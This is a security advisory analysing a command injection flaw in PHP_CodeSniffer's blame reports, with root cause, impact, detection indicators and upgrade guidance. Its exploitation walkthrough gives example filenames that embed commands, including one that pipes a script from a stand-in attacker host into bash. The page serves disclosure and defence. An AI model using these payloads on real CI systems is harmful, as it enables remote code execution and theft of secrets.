CVE-2026-67434: 
PHP vulnerability analysis and mitigation

CVE-2026-67434 is an OS command injection vulnerability in PHP_CodeSniffer's Gitblame, Hgblame, and Svnblame report generators, classified under CWE-78. When PHP_CodeSniffer processes files whose names contain shell metacharacters (e.g., $, ;, "), the unescaped filename is passed directly to a shell command, allowing attacker-controlled commands to execute. Affected versions include all releases before 3.13.6 and 4.0.0–4.0.1; the issue was disclosed and patched on August 6, 2026. It carries a CVSS v4.0 base score of 7.3 (High) (GitHub Advisory, PHPCS Release).

The root cause (CWE-78) is that the getBlameContent() methods in src/Reports/Gitblame.php, Hgblame.php, and Svnblame.php interpolated filenames directly into shell command strings using double-quote wrapping rather than PHP's escapeshellarg(). For example, the vulnerable Gitblame code constructed: 'git blame --date=short "' . basename($filename) . '" 2>&1', which allows shell metacharacters in the filename to break out of the quoted context and inject arbitrary commands. The fix, applied in PR #1473, replaces the double-quote interpolation with escapeshellarg() and adds a -- separator to prevent filenames from being interpreted as CLI flags (GitHub PR, Commit 7a3a6bb). Exploitation requires that the attacker can supply a file with a crafted name to a PHP_CodeSniffer run using one of the blame report formats, and that the runtime platform permits shell metacharacters in filenames (Linux/macOS are affected; Windows is generally not).

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the PHP_CodeSniffer process. This is particularly dangerous in CI/CD pipelines that automatically scan pull requests from untrusted contributors, or on developer machines reviewing third-party code, where the process may have access to secrets, credentials, source code, or build infrastructure. The vulnerable system impact includes high confidentiality, integrity, and availability loss, though subsequent (downstream) systems are not directly impacted by the vulnerability itself (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.70%, reflecting low near-term exploitation probability. Exploitation is not automatable (requires passive user interaction — a developer or CI system must run PHP_CodeSniffer with a blame report against attacker-supplied files), and no threat actor attribution has been reported. The vulnerability was responsibly disclosed by researchers Faze-up and edorian (PHPCS Release).

1. Craft a malicious filename: Create a PHP file whose name contains shell metacharacters embedding a payload, e.g., $(curl http://attacker.com/shell.sh | bash).php or ; touch /tmp/pwned ;.php.
2. Submit the file to a target pipeline: Introduce the maliciously named file into a repository or code submission (e.g., via a pull request to a project whose CI pipeline runs PHP_CodeSniffer with a blame report format).
3. Trigger PHP_CodeSniffer with a blame report: The CI job or developer runs a command such as phpcs --report=Gitblame <path-to-malicious-file>, causing PHP_CodeSniffer to invoke getBlameContent() on the file.
4. Command injection executes: The unescaped filename is interpolated into the shell command string (e.g., git blame --date=short "$(curl http://attacker.com/shell.sh | bash).php" 2>&1), causing the shell to evaluate the injected subcommand with the privileges of the PHP_CodeSniffer process.
5. Achieve objective: The injected command runs arbitrary code — exfiltrating CI secrets, establishing persistence, or pivoting to other systems accessible from the build environment (GitHub Advisory, GitHub PR).

• Process: Unexpected child processes spawned by the PHP/PHPCS process, such as curl, wget, bash, sh, python, or nc, particularly in CI runner environments.
• File System: Unexpected files created in directories writable by the CI runner or developer user (e.g., /tmp/, project directories), especially with names matching injected command output.
• Logs: CI pipeline logs showing unusual output from phpcs runs, including shell error messages or unexpected command output mixed into the blame report; shell history entries on developer machines showing filenames with metacharacters.
• Network: Outbound connections from CI build agents or developer machines to unexpected external hosts, particularly during or immediately after a PHP_CodeSniffer blame report run.

Upgrade PHP_CodeSniffer to version 3.13.6 (3.x branch) or 4.0.2 (4.x branch), which apply escapeshellarg() to filenames before constructing shell commands (PHPCS Release, GitHub Advisory). If an immediate upgrade is not possible, avoid using the --report=Gitblame, --report=Hgblame, or --report=Svnblame report formats when scanning untrusted code — use the default Full report or any other non-blame report instead. This workaround is especially critical for CI jobs, pre-commit hooks, automated review services, and any pipeline that processes code from external contributors.

The PHP_CodeSniffer maintainer (jrfnl) issued a security advisory and tagged the release as a security release, advising all users to update as soon as possible (PHPCS Release). The vulnerability was responsibly disclosed by researchers Faze-up and edorian, with remediation contributions from Volker Dusch, Rodrigo Primo, and Dan Wallis. The advisory was picked up by GitLab's advisory database and Tenable's container security plugin catalog shortly after disclosure, indicating routine tracking by the security tooling community (GitHub Advisory).